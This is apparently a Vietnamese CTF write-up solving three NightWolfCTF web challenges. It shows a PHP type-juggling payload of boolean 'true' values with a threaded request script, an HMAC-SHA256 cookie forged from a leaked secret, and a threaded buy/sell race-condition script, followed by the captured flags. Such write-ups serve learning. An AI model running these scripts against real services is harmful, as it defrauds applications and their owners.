# Web challenges ## 1. Lottery ![image](https://hackmd.io/_uploads/rkKYOokNa.png) <br> Khi ấn vào chơi thì phải tạo account ![image-1](https://hackmd.io/_uploads/HkjL_jkNa.png) <br> ![image-2](https://hackmd.io/_uploads/H11odok4p.png) Mỗi account có `20$` làm vốn 😂 <br> ![image-3](https://hackmd.io/_uploads/HyYTdiyNp.png) Mỗi lần mua mất `2$` ![image-6](https://hackmd.io/_uploads/Hyx0doJEp.png) Bởi vì mình có hai số `1` ở hai vị trí giống với `winning numbers` nên được `+5$` <br> ![image-4](https://hackmd.io/_uploads/ryklFiJN6.png) Có vẻ như là phải kiếm đủ tiền thì mới mua flag được Sau một hồi chơi trò này thì mình khuyên là nếu ai có ý định dấn thân vào lô đề thì bỏ đi nhé 😪 <br> ![image-7](https://hackmd.io/_uploads/SJeWYo1Va.png) Quay trở lại chall thì có thể thấy rằng `numbers` mình chọn được truyền dưới dạng `json` Sau đó sẽ so sánh từng số trong `numbers` với `winning numbers` (ở trên mình có mua thử 2 cái, các bạn có thể xem lại) <br> Stuck một hồi lâu thì btc có đưa hint là `có thể vay tiền từ TypeJuggling88` Vậy là mình hiểu ra ngay bài này dùng `TypeJunggling` để so sánh (còn `88` ở sau là chắc ẩn ý đến một nhà cái nào đó uy tín 😂) ![image-8](https://hackmd.io/_uploads/rJKzKjkN6.png) Mình có thử dùng `true` để so sánh với số hoặc với char thì nó luôn đúng Lợi dụng điều này mình truyền vào một mảng gồm 7 phần tử và mỗi phần tử là giá trị boolean `true` ![image-9](https://hackmd.io/_uploads/B1g8KiyE6.png) Ú là la được hẳn `200000$`, vậy là thành công rồi ![image-10](https://hackmd.io/_uploads/HJJDYjJ4a.png) Hoặc là thay vì truyền vào mảng thì mình truyền vào một `json` với 7 cặp key-value với key từ 0 -> 6 và value là `true` Mình viết script để làm cho nhanh ``` #!/usr/bin/env python import requests from threading import Thread url = 'http://152.67.127.64:8002/' cookie = {"PHPSESSID": "575a9d3231cbcb2bb219e7623ad2937b"} header = { "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/json", } json_data = { "action": "buy", "numbers": { "0":True, "1":True, "2":True, "3":True, "4":True, "5":True, "6":True } } def cheat_money(): while True: res = requests.post(url + '/api.php', headers=header, cookies=cookie, json=json_data) money = res.json().get("money", None) print(money) if money > 99999999999: print("Du tien roi, mua flag thoi") break threads = [Thread(target = cheat_money) for i in range(10)] for thread in threads: thread.start() ``` <br> Sau một hồi chờ đợi thì ![image-11](https://hackmd.io/_uploads/SkWKtiyVp.png) Mua flag thôi ![image-12](https://hackmd.io/_uploads/HkSKtjyVa.png) Flag: ~~**`NightWolfCTF{l4m_g14u_kh0ng_kh0}`**~~ </br> ## 2. Iq test ![image](https://hackmd.io/_uploads/BJGG5j1Ea.png) </br> Ok đề bảo sao làm vậy thôi 😂 ![image-1](https://hackmd.io/_uploads/SkLG5sy4p.png) ![image-2](https://hackmd.io/_uploads/SkuMqjJEp.png) ![image-3](https://hackmd.io/_uploads/BJcfqsy4T.png) ![image-4](https://hackmd.io/_uploads/B12M5s1Na.png) ![image-5](https://hackmd.io/_uploads/SyTfqiyNa.png) Câu 5 này hơi sai 🙄 <br> Mình có inspect xem thử và thấy có một endpoint là `secret.css` Vô xem thử ![image-6](https://hackmd.io/_uploads/SyXOqiyNa.png) Mình có nghía thử cookie ![image-8](https://hackmd.io/_uploads/SyEFqjJVa.png) Có vẻ như là value của `level` được hash bằng `HMAC-SHA256` với secret-key là `NightWolfCTF` <br> Sau một hồi mò plain text value của `level` trước khi hash thì mình cũng tìm ra `level:level5` Quay lại đọc đề (Ai thông minh hơn học sinh lớp 5) và hint (học sinh lớp 6) Thì mình khá chắc là flag đang ở `level6` <br> Tiến hành generator hash `HMAC-SHA256` của plain text `level6` và secret-key `NightWolfCTF` `level:70f184d9c055839f1b23a2c0e88622a8a30df60e4754afcdad820b916410953e` ![image-9](https://hackmd.io/_uploads/H14oqskNa.png) Ú là la ![image-10](https://hackmd.io/_uploads/rJlPj9o1Ea.png) Flag: ~~**`NightWolfCTF{M1sc0nfig_EVERYWHERE_!!!_}`**~~ </br> ## 3. Flea market ![image](https://hackmd.io/_uploads/SJMGsiJNa.png) Cứ register và login vô thử xem sao ![image-1](https://hackmd.io/_uploads/HkcfsskE6.png) </br> ![image-2](https://hackmd.io/_uploads/HJ3Miiy4a.png) Sau một hồi nghịch linh tinh thì mình đoán có thể giải bài này bằng `race conditions` script: ``` #!/usr/bin/env python from threading import Thread import requests url = 'http://152.67.127.64:8013/' cookie = {"token": "22b7d502-42e8-4f8b-95eb-3c80981a6bb9"} def buy(): while True: res = requests.post(url + 'buy/2', cookies=cookie) def sell(): while True: res = requests.post(url + 'sell/1', cookies=cookie) for i in range(5): thread1 = Thread(target = buy) thread2 = Thread(target = sell) thread1.start() thread2.start() ``` Giải thích sơ qua chỗ `buy/2` và `sell/1` Ở đây là buy và sell theo `id` Mình buy `Scooter` với `id` của nó là 2 và sell nó với `id` là 1 Chạy xong thì F5 lại ta được ![image-3](https://hackmd.io/_uploads/r1PrijkNp.png) Sell đi và thế là đủ tiền mua flag ![image-6](https://hackmd.io/_uploads/ry_Fsiy4p.png) </br> Flag: ~~**`NightWolfCTF{Y0u_4re_4_lucky_guy}`**~~